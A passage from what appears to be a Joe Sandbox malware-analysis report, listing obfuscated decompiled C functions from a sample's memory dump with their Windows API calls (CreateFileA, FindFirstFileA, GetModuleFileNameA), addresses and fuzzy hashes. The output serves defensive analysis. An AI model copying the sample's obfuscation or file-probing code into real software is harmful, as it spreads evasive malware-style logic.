					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000002;
				}
				if((_t242 & 0x00000001) != 0) {
					_t262 = 0xc0000091;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000004;
				}
				if((_t242 & 0x00000004) != 0) {
					_t262 = 0xc000008e;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
				}
				if((_t242 & 0x00000008) != 0) {
					_t262 = 0xc0000090;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000010;
				}
				_t265 = _a8;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 << 4) ^  *(_a4 + 8)) & 0x00000010;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 +  *_t265) ^  *(_a4 + 8)) & 0x00000008;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 1) ^  *(_a4 + 8)) & 0x00000004;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 3) ^  *(_a4 + 8)) & 0x00000002;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 5) ^  *(_a4 + 8)) & 1;
				_t259 = E010DD2C8(_a4);
				if((_t259 & 0x00000001) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000010;
				}
				if((_t259 & 0x00000004) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000008;
				}
				if((_t259 & 0x00000008) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000004;
				}
				if((_t259 & 0x00000010) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000002;
				}
				if((_t259 & 0x00000020) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 1;
				}
				_t172 =  *_t265 & 0x00000c00;
				if(_t172 == 0) {
					 *_a4 =  *_a4 & 0xfffffffc;
				} else {
					if(_t172 == 0x400) {
						_t257 = _a4;
						_t225 =  *_t257 & 0xfffffffd | 1;
						L26:
						 *_t257 = _t225;
						L29:
						_t175 =  *_t265 & 0x00000300;
						if(_t175 == 0) {
							_t250 = _a4;
							_t178 =  *_t250 & 0xffffffeb | 0x00000008;
							L35:
							 *_t250 = _t178;
							L36:
							_t179 = _a4;
							_t254 = (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *_t179 =  *_t179 ^ (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *(_a4 + 0x20) =  *(_a4 + 0x20) | 1;
							if(_a28 == 0) {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe3 | 0x00000002;
								 *((long long*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t254 = _a4;
								_t240 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe3 | 0x00000002;
								 *(_a4 + 0x50) =  *_t240;
							} else {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe1;
								 *((intOrPtr*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t240 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe1;
								 *(_a4 + 0x50) =  *_t240;
							}
							E010DD22E(_t254);
							RaiseException(_t262, 0, 1,  &_a4);
							_t256 = _a4;
							if((_t256[2] & 0x00000010) != 0) {
								 *_t265 =  *_t265 & 0xfffffffe;
							}
							if((_t256[2] & 0x00000008) != 0) {
								 *_t265 =  *_t265 & 0xfffffffb;
							}
							if((_t256[2] & 0x00000004) != 0) {
								 *_t265 =  *_t265 & 0xfffffff7;
							}
							if((_t256[2] & 0x00000002) != 0) {
								 *_t265 =  *_t265 & 0xffffffef;
							}
							if((_t256[2] & 0x00000001) != 0) {
								 *_t265 =  *_t265 & 0xffffffdf;
							}
							_t195 =  *_t256 & 0x00000003;
							if(_t195 == 0) {
								 *_t265 =  *_t265 & 0xfffff3ff;
							} else {
								_t206 = _t195 - 1;
								if(_t206 == 0) {
									_t209 =  *_t265 & 0xfffff7ff | 0x00000400;
									L55:
									 *_t265 = _t209;
									L58:
									_t199 =  *_t256 >> 0x00000002 & 0x00000007;
									if(_t199 == 0) {
										_t202 =  *_t265 & 0xfffff3ff | 0x00000300;
										L64:
										 *_t265 = _t202;
										L65:
										if(_a28 == 0) {
											 *_t240 = _t256[0x14];
										} else {
											 *_t240 = _t256[0x14];
										}
										return _t202;
									}
									_t203 = _t199 - 1;
									if(_t203 == 0) {
										_t202 =  *_t265 & 0xfffff3ff | 0x00000200;
										goto L64;
									}
									_t202 = _t203 - 1;
									if(_t202 == 0) {
										 *_t265 =  *_t265 & 0xfffff3ff;
									}
									goto L65;
								}
								_t210 = _t206 - 1;
								if(_t210 == 0) {
									_t209 =  *_t265 & 0xfffffbff | 0x00000800;
									goto L55;
								}
								if(_t210 == 1) {
									 *_t265 =  *_t265 | 0x00000c00;
								}
							}
							goto L58;
						}
						if(_t175 == 0x200) {
							_t250 = _a4;
							_t178 =  *_t250 & 0xffffffe7 | 0x00000004;
							goto L35;
						}
						if(_t175 == 0x300) {
							 *_a4 =  *_a4 & 0xffffffe3;
						}
						goto L36;
					}
					if(_t172 == 0x800) {
						_t257 = _a4;
						_t225 =  *_t257 & 0xfffffffe | 0x00000002;
						goto L26;
					}
					if(_t172 == 0xc00) {
						 *_a4 =  *_a4 | 0x00000003;
					}
				}
			}

0x010dce04
0x010dce0b
0x010dce10
0x010dce16
0x010dce19
0x010dce1f
0x010dce24
0x010dce29
0x010dce29
0x010dce2f
0x010dce34
0x010dce39
0x010dce39
0x010dce40
0x010dce45
0x010dce4a
0x010dce4a
0x010dce51
0x010dce56
0x010dce5b
0x010dce5b
0x010dce62
0x010dce67
0x010dce6c
0x010dce6c
0x010dce74
0x010dce84
0x010dce96
0x010dcea8
0x010dcebb
0x010dcecd
0x010dced5
0x010dceda
0x010dcedf
0x010dcedf
0x010dcee6
0x010dceeb
0x010dceeb
0x010dcef2
0x010dcef7
0x010dcef7
0x010dcefe
0x010dcf03
0x010dcf03
0x010dcf0a
0x010dcf0f
0x010dcf0f
0x010dcf19
0x010dcf1b
0x010dcf55
0x010dcf1d
0x010dcf22
0x010dcf46
0x010dcf4e
0x010dcf42
0x010dcf42
0x010dcf58
0x010dcf5f
0x010dcf61
0x010dcf83
0x010dcf8b
0x010dcf8e
0x010dcf8e
0x010dcf90
0x010dcf90
0x010dcf9b
0x010dcfa1
0x010dcfa6
0x010dcfad
0x010dcfe7
0x010dcff2
0x010dcff8
0x010dcffb
0x010dcffe
0x010dd00a
0x010dd012
0x010dcfaf
0x010dcfb2
0x010dcfbe
0x010dcfc4
0x010dcfca
0x010dcfcd
0x010dcfd6
0x010dcfd6
0x010dd015
0x010dd023
0x010dd029
0x010dd030
0x010dd032
0x010dd032
0x010dd039
0x010dd03b
0x010dd03b
0x010dd042
0x010dd044
0x010dd044
0x010dd04b
0x010dd04d
0x010dd04d
0x010dd054
0x010dd056
0x010dd056
0x010dd063
0x010dd066
0x010dd09d
0x010dd068
0x010dd068
0x010dd06b
0x010dd096
0x010dd08b
0x010dd08b
0x010dd09f
0x010dd0a7
0x010dd0aa
0x010dd0c9
0x010dd0ce
0x010dd0ce
0x010dd0d0
0x010dd0d5
0x010dd0e1
0x010dd0d7
0x010dd0da
0x010dd0da
0x010dd0e6
0x010dd0e6
0x010dd0ac
0x010dd0af
0x010dd0be
0x00000000
0x010dd0be
0x010dd0b1
0x010dd0b4
0x010dd0b6
0x010dd0b6
0x00000000
0x010dd0b4
0x010dd06d
0x010dd070
0x010dd086
0x00000000
0x010dd086
0x010dd075
0x010dd077
0x010dd077
0x010dd075
0x00000000
0x010dd066
0x010dcf68
0x010dcf76
0x010dcf7e
0x00000000
0x010dcf7e
0x010dcf6c
0x010dcf71
0x010dcf71
0x00000000
0x010dcf6c
0x010dcf29
0x010dcf37
0x010dcf3f
0x00000000
0x010dcf3f
0x010dcf2d
0x010dcf32
0x010dcf32
0x010dcf2d

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,010DCDF1,?,?,00000008,?,?,010DBFA9,00000000), ref: 010DD023

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: b723a28d4643fe8a92875e8350e42ac7232d090926be1832349171716333a691
Instruction ID: d7eaf7f5f3dcade43294674ece5918d6f9d4cf527efca1c76fba3724a529466f
Opcode Fuzzy Hash: b723a28d4643fe8a92875e8350e42ac7232d090926be1832349171716333a691
Instruction Fuzzy Hash: 22B107711106089FE755CF2CC58ABA57FE1FB45364F298698E9D9CF2A2C335E982CB40

Uniqueness

Uniqueness Score: -1.00%

Function 010E8570 Relevance: 1.7, APIs: 1, Instructions: 196
fileCOMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E010E8570(signed int _a12, intOrPtr _a16, signed int _a20) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				signed int _v56;
				void* _v60;
				long _v64;
				long _v68;
				struct _SECURITY_ATTRIBUTES* _v72;
				long _v76;
				long _v80;
				CHAR* _v84;
				signed int _v88;
				intOrPtr _t175;
				intOrPtr _t213;
				intOrPtr _t215;
				intOrPtr _t216;
				intOrPtr _t223;
				signed int _t225;
				intOrPtr _t251;
				intOrPtr _t252;
				intOrPtr _t255;
				intOrPtr _t258;
				intOrPtr _t259;

				_v16 = _a12 ^ 0x00000ed5;
				_v20 = _a20 - 0x2796;
				_v8 = _a20 ^ 0x00002796;
				_v88 = _a12 ^ 0x00002801;
				_v24 = _a12 - 0x269;
				_v28 = _a20 ^ 0x000002ad;
				_v12 = _a20 ^ 0x000001be;
				_v56 = _a12 - 0x2801;
				if(_v8 == (_v16 ^ 0x000003d2)) {
					_t223 =  *0x116d5ec; // 0x116d5f0
					_t78 = _t223 + 0x78; // 0x79aca
					_v84 =  *(_a16 + 0xec) |  *_t78;
					_v80 =  *((intOrPtr*)(_a16 + 0xd4)) + _v8;
					_t225 =  *0x116d6a0; // 0x0
					_v76 = _t225 * _v56 - _v12;
					_v72 =  *((intOrPtr*)(_a16 + 0x8c)) + 0x2801;
					_v68 = _v12 +  *((intOrPtr*)(_a16 + 0x8c)) ^ _v12;
					_v64 =  *(_a16 + 0xe4) ^ 0x00002801;
					_v60 = (_v28 ^ 0x0000253b) & _v8;
					CreateFileA(_v84, _v80, _v76, _v72, _v68, _v64, _v60);
					 *((intOrPtr*)(_a16 + 0x78)) = (_v24 + _v20 |  *0x01D1B1B1) +  *((intOrPtr*)(_a16 + 0x78));
					 *((intOrPtr*)(_a16 + 0xbadc81)) =  *((intOrPtr*)(_a16 + 0xbadc81)) - ( *(_a16 + 0xec) ^ _v24);
				} else {
					_v52 = _v8 ^ 0x00002628;
					_v48 = _a16;
					_v44 = _v28 ^ 0x000003bc;
					_v40 = _v20 + 0x2674;
					_v36 = _v20 + 0x25a0;
					_v32 = _v8 + 0x2801;
					_v24 = E010E5EA0(_v52, _v48, _v44, _v40, _v36, _v32);
					 *((intOrPtr*)(_a16 + 0x24)) =  *((intOrPtr*)(_a16 + 0xb4)) +  *((intOrPtr*)(_a16 + 0x24)) + 0x604;
					if( *((intOrPtr*)(_a16 + 0xbadc71)) <= 0x16f57) {
						_t251 =  *0x116d5ec; // 0x116d5f0
						_t56 = _t251 + 0x24; // 0x54000
						_t252 =  *0x116d5ec; // 0x116d5f0
						 *((intOrPtr*)(_t252 + 0x24)) = ( *(_a16 + 0xb0) ^  *(_a16 + 0x10)) +  *_t56 + 0x53c42;
					} else {
						_t259 =  *0x116d6d0; // 0xfffe3a5b
						_t175 =  *0x116d5ec; // 0x116d5f0
						_t49 = _t175 + 0xe0; // 0xfffe3a5b
						_t216 =  *0x116d5ec; // 0x116d5f0
						 *(_t216 + 0xe0) = _t259 + 0x000221c0 ^  *_t49;
					}
					_v16 = _v16 - 0x13c;
					if(_v16 < (_v12 ^ 0x000000cd)) {
						if( *((intOrPtr*)(_a16 + 0x3c)) !=  *((intOrPtr*)(_a16 + 0xbadc71))) {
							_t213 =  *0x116d628; // 0x1
							_t258 =  *0x116d5ec; // 0x116d5f0
							_t69 = _t258 + 0x24; // 0x54000
							_t215 =  *0x116d5ec; // 0x116d5f0
							 *((intOrPtr*)(_t215 + 0x24)) =  *_t69 - _t213 + 0x1725;
						}
						_t255 =  *0x116d5ec; // 0x116d5f0
						_t71 = _t255 + 0xe0; // 0xfffe3a5b
						 *((intOrPtr*)(_a16 + 0x24)) =  *((intOrPtr*)(_a16 + 0x24)) -  *_t71 + 0x1bb7d;
					}
				}
				return _v12 + 0x4c;
			}

0x010e857e
0x010e858a
0x010e8596
0x010e85a1
0x010e85ad
0x010e85b9
0x010e85c4
0x010e85d0
0x010e85df
0x010e874a
0x010e8756
0x010e8759
0x010e8771
0x010e8774
0x010e8781
0x010e8793
0x010e87a5
0x010e87b7
0x010e87c5
0x010e87e4
0x010e8807
0x010e8835
0x010e85e5
0x010e85ed
0x010e85f3
0x010e85ff
0x010e860a
0x010e8616
0x010e8622
0x010e8645
0x010e8661
0x010e8679
0x010e86b8
0x010e86be
0x010e86c8
0x010e86ce
0x010e867b
0x010e867b
0x010e8687
0x010e868c
0x010e8692
0x010e8698
0x010e8698
0x010e86d9
0x010e86e8
0x010e8701
0x010e8703
0x010e870f
0x010e8715
0x010e871a
0x010e8720
0x010e8720
0x010e8723
0x010e8729
0x010e873f
0x010e873f
0x010e8742
0x010e8845

APIs

CreateFileA.KERNEL32(?,?,?,?,?,?,?), ref: 010E87E4

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: affe5b1001670fccba452097fb57750e376e63babe75b3ea4ae0967bf9a19c0f
Instruction ID: b93a3868e90e7c60551366f0d969763db9e47d724e0598adda1d52e6260fcc8d
Opcode Fuzzy Hash: affe5b1001670fccba452097fb57750e376e63babe75b3ea4ae0967bf9a19c0f
Instruction Fuzzy Hash: 5DA1C7B4A00109DFDB08CF98E594AAEBBF2FF88304F148269E919AB355C735E951CF54

Uniqueness

Uniqueness Score: -1.00%

Function 010D3450 Relevance: 1.7, APIs: 1, Instructions: 156
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E010D3450(intOrPtr _a4, signed int _a8, intOrPtr _a12, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				signed int _v48;
				long _v52;
				CHAR* _v56;
				struct HINSTANCE__* _v60;
				intOrPtr _t100;
				intOrPtr _t126;
				intOrPtr _t141;
				intOrPtr _t146;
				intOrPtr* _t187;

				_v8 = _a12 - 0x2598;
				_v16 = _a8;
				_v12 = _a12 + 0x1fe;
				_v24 = _a24 + 0x8a;
				_v20 = _a20 - 0x6b;
				_v28 = _a4 - 0x2633;
				if(_v20 < (_v28 ^ 0x00002622)) {
					L11:
					return _v28 + 0x2687;
				}
				if(_v24 >= _v28 + 0x2506) {
					if(_v28 > _v20 - 0x122) {
						if( *((intOrPtr*)(_a28 + 0xbadbb1)) != ((_v8 | 0x00002674) ^ _v12)) {
							_v12 = _v12 - ((_v8 |  *(_a28 + 0x8c)) ^ 0x00002598);
							_v8 = ( *(_a28 + 0x30) |  *(_a28 + 0x3c)) ^ _v8;
							_t146 =  *0x116d5ec; // 0x116d5f0
							_t63 = _t146 + 0xf4; // 0xd3256746
							 *0x116d668 =  *_t63 * 0x00002633 ^ 0x00002628 ^  *0x116d668;
						}
					} else {
						_v8 = _v8 + 0x2796;
						_v12 = _v12 - 0x16e;
						_v8 = _v8 - 0x1fe;
						_v8 = _v8 + 0x14d;
						_v16 = _v16 + 0x74;
						_v48 = _v16 ^ 0x00000308;
						_v44 = _v16 + 0x25b;
						_v40 = 0x116d5f0;
						_v36 = _v16 + 0xe7;
						_v32 = _v28 + 0x2801;
						_v16 = E010D3D10(_v48, _v44, _v40, _v36, _v32);
						_t187 =  *0x116d5ec; // 0x116d5f0
						_t126 =  *0x116d650; // 0xb67e4e55
						 *0x116d650 = _t126 -  *_t187;
						_v12 = _v12 ^ 0x0000001b;
					}
				}
				if(_v20 > (_v24 ^ 0x00000347)) {
					if(_v8 > _v20) {
						_t100 =  *0x116d5ec; // 0x116d5f0
						if(_v8 != ( *((intOrPtr*)(_t100 + 0xbadc71)) -  *0x116d6a0 & _v24)) {
							_v60 = _v24 +  *0x116d628 ^ 0x00002796;
							_v56 = _v20 ^  *(_a28 + 0xe4) ^ 0x00002506;
							_v52 = _v24 +  *((intOrPtr*)(_a28 + 0x78));
							GetModuleFileNameA(_v60, _v56, _v52);
						}
					} else {
						_v8 = _v8 + 0xb1;
						_t141 =  *0x116d690; // 0xab88ba4e
						 *((intOrPtr*)(_a28 + 0x98)) = _t141;
					}
				}
				goto L11;
			}

0x010d345e
0x010d3464
0x010d3470
0x010d347b
0x010d3484
0x010d3490
0x010d349e
0x010d367f
0x010d368a
0x010d368a
0x010d34b0
0x010d34c2
0x010d358b
0x010d35a3
0x010d35be
0x010d35c1
0x010d35c7
0x010d35dd
0x010d35dd
0x010d34c8
0x010d34d0
0x010d34dc
0x010d34e8
0x010d34f3
0x010d34fc
0x010d3508
0x010d3513
0x010d3516
0x010d3526
0x010d3532
0x010d3551
0x010d3554
0x010d355a
0x010d3561
0x010d356c
0x010d356c
0x010d34c2
0x010d35ee
0x010d35fa
0x010d3620
0x010d3638
0x010d3649
0x010d365e
0x010d366a
0x010d3679
0x010d3679
0x010d35fc
0x010d3605
0x010d360b
0x010d3611
0x010d3611
0x010d35fa
0x00000000

APIs

GetModuleFileNameA.KERNEL32(?,?,?), ref: 010D3679

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: FileModuleName
String ID:
API String ID: 514040917-0
Opcode ID: 207e9a6de287ec551fd94d7539854548c0d2e382ecff752a953bdb2a6ad51fef
Instruction ID: 5622d564c121412aead25ae4a6a6a7e6acc1d403670007f04dc057504b2bf57f
Opcode Fuzzy Hash: 207e9a6de287ec551fd94d7539854548c0d2e382ecff752a953bdb2a6ad51fef
Instruction Fuzzy Hash: 7971D671E00209DFDB08CF98D994AEEBBB2FF88304F508169D559AB754D735AA41CF84

Uniqueness

Uniqueness Score: -1.00%

Function 010E5EA0 Relevance: 1.6, APIs: 1, Instructions: 91
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010E5EA0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a24) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				struct _WIN32_FIND_DATAA* _v32;
				CHAR* _v36;
				intOrPtr _v40;
				intOrPtr _t65;
				intOrPtr _t75;
				signed int _t85;
				intOrPtr _t93;

				_v24 = _a24 - 0x2801;
				_v20 = _a16 - 0x139;
				_v28 = _a12 - 0x2687;
				_v16 = _a16;
				_v8 = _a12 + 0x132;
				_v40 = _a4 + 0x212;
				if(_v8 != _v16 + 0x18d) {
					_t93 =  *0x116d5ec; // 0x116d5f0
					_t18 = _t93 + 0x3c; // 0x161485
					if( *((intOrPtr*)(_a8 + 0xb8)) >  *_t18) {
						_t75 =  *0x116d628; // 0x1
						 *((intOrPtr*)(_a8 + 0x24)) = _t75 + 0x324;
					}
					_v8 = _v8 - 0x186;
				}
				if(_v16 != _v20 + 0x199) {
					if(_v20 == _v24 + 0x2687) {
						_v12 =  *((intOrPtr*)(_a8 + 0x8c));
						while(_v12 >= ( *0x0116D604 & 0x000026d4)) {
							_t85 =  *0x116d68c; // 0x14b95e
							_v36 = (_t85 ^ 0x00002633) -  *((intOrPtr*)(_a8 + 0xf4));
							_t65 =  *0x116d62c; // 0x161485
							_v32 = _t65 + _v16 + _v28;
							FindFirstFileA(_v36, _v32);
							_v12 = _v12 + 3;
						}
					} else {
						 *((intOrPtr*)(_a8 + 0x24)) =  *((intOrPtr*)(_a8 + 0x38)) +  *((intOrPtr*)(_a8 + 0xfc)) +  *((intOrPtr*)(_a8 + 0x24)) + 0x787;
					}
				}
				return _v24 + 0x2628;
			}

0x010e5eae
0x010e5eba
0x010e5ec6
0x010e5ecc
0x010e5ed8
0x010e5ee4
0x010e5ef2
0x010e5eff
0x010e5f0c
0x010e5f0f
0x010e5f11
0x010e5f1e
0x010e5f1e
0x010e5f2a
0x010e5f2a
0x010e5f38
0x010e5f4a
0x010e5f82
0x010e5f90
0x010e5fa8
0x010e5fbd
0x010e5fc0
0x010e5fcb
0x010e5fd6
0x010e5f8d
0x010e5f8d
0x010e5f4c
0x010e5f74
0x010e5f74
0x010e5f4a
0x010e5fe9

APIs

FindFirstFileA.KERNEL32(010E8BBD,?,?,010E8BBD,?,?,?,?,?,?), ref: 010E5FD6

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: c3baec1f738a0ba2b4691c9fb030a7ddab9997f5b4f0def20c7b21d9e0616108
Instruction ID: 9e3215dd151b753b3801bbbbdaf9d40cca63ff00e89de41efba7275579167a63
Opcode Fuzzy Hash: c3baec1f738a0ba2b4691c9fb030a7ddab9997f5b4f0def20c7b21d9e0616108
Instruction Fuzzy Hash: C0413B74A00109DFDB18CF98D994AADBBF1FF88304F14C26AE9199B385D735AA41CF84

Uniqueness

Uniqueness Score: -1.00%

Function 010DC777 Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010DC777() {
				signed int _t3;

				_t3 = GetProcessHeap();
				 *0x116e1b0 = _t3;
				return _t3 & 0xffffff00 | _t3 != 0x00000000;
			}

0x010dc777
0x010dc77f
0x010dc787

APIs

GetProcessHeap.KERNEL32 ref: 010DC777

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: b3a7bdbd38f1b13827906f9cba0917ac42482c6ffc270130c1cfa97e6ddc3999
Instruction ID: 355b5deef963733ffd2fd3b34d8cad127f39ca6ea2f0e0fa30e1329bdebe9afd
Opcode Fuzzy Hash: b3a7bdbd38f1b13827906f9cba0917ac42482c6ffc270130c1cfa97e6ddc3999
Instruction Fuzzy Hash: E2A02430101101CF4F50CF33D70430C3DD475005C03044734F000C5154F73D40405700

Uniqueness

Uniqueness Score: -1.00%

Function 010E6710 Relevance: .6, Instructions: 618
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E010E6710() {
				signed int _t524;
				signed int _t528;
				intOrPtr _t530;
				intOrPtr _t570;
				signed int _t584;
				intOrPtr _t600;
				signed int _t603;
				intOrPtr _t607;
				intOrPtr _t612;
				signed int _t618;
				intOrPtr _t624;
				intOrPtr _t629;
				short _t653;
				signed int _t659;
				signed int _t660;
				intOrPtr _t663;
				signed short _t673;
				intOrPtr _t716;
				signed int _t739;
				signed int _t740;
				intOrPtr _t747;
				signed int _t758;
				intOrPtr _t781;
				intOrPtr _t801;
				intOrPtr _t804;
				signed int _t824;
				signed int _t828;
				intOrPtr _t848;
				signed int _t862;
				signed int _t936;
				intOrPtr _t952;
				intOrPtr _t953;
				intOrPtr _t955;
				intOrPtr* _t958;
				void* _t960;
				void* _t961;

				_t958 = _t960 - 0x60;
				_t961 = _t960 - 0xf4;
				 *((intOrPtr*)(_t958 - 8)) = 0xfcf -  *0x116df30;
				 *((intOrPtr*)(_t958 + 0xc)) =  *((intOrPtr*)( *((intOrPtr*)(_t958 + 0x7c)) + ( *0x116dee6 & 0x000000ff) * 4));
				 *((intOrPtr*)(_t958 + 8)) = 0x207b;
				_t659 =  *0x116df08; // 0x0
				 *((intOrPtr*)(_t958 + 0x34)) =  *((intOrPtr*)( *((intOrPtr*)(_t958 + 0x74)) + _t659 * 4));
				_t660 =  *0x116df14; // 0x0
				 *(_t958 + 4) =  *( *((intOrPtr*)(_t958 + 0x78)) + _t660 * 2) & 0x0000ffff;
				 *(_t958 + 0x38) =  *0x116df2c & 0x0000ffff &  *0x116df14;
				_t663 =  *0x116df20; // 0x0
				 *((intOrPtr*)(_t958 - 0x90)) =  *((intOrPtr*)(_t663 + 0xa0 +  *( *(_t958 + 0x70)) * 4));
				 *( *(_t958 + 0x70)) =  *( *(_t958 + 0x70)) + 1;
				_t801 =  *0x116dedc; // 0x0
				 *(_t958 + 0x44) =  *(_t801 +  *( *(_t958 + 0x70)) * 4) |  *0x116ded8;
				 *(_t958 + 0x54) = ( *0x116dee4 & 0x000000ff) *  *( *((intOrPtr*)(_t958 + 0x7c)) + 0x1648);
				 *((intOrPtr*)(_t958 + 0x40)) = 0x677;
				_t804 =  *0x116df0c; // 0x0
				 *(_t958 + 0x10) =  *(_t804 + 0x4e24) / 0xbef;
				 *(_t958 + 0x3c) = ( *( *((intOrPtr*)(_t958 + 0x78)) + 0x40 + ( *( *(_t958 + 0x70)) << 2) * 2) & 0x0000ffff) + 0x136d;
				 *(_t958 + 0x4c) = ( *(_t958 + 0x70))[0x319] ^ 0x00000550;
				_t673 =  *0x116def0; // 0x0
				 *0x116def0 = _t673 - 1;
				 *(_t958 + 0x5b) =  *((intOrPtr*)( *((intOrPtr*)(_t958 + 0x6c)) + ( *0x116def0 & 0x0000ffff) * 4));
				 *(_t958 - 0x94) = ( *(_t958 + 0x70))[0xdab];
				 *_t958 = 0x8b2;
				 *(_t958 + 0x48) =  *( *((intOrPtr*)(_t958 + 0x6c)) + 0x74 +  *( *(_t958 + 0x70)) * 4) % 0x1a70;
				 *((intOrPtr*)(_t958 - 4)) =  *((intOrPtr*)( *((intOrPtr*)(_t958 + 0x74)) + 0x19d0));
				 *(_t958 + 0x5c) =  *( *((intOrPtr*)(_t958 + 0x6c)) + 0x1c +  *(_t958 + 0x48) * 4);
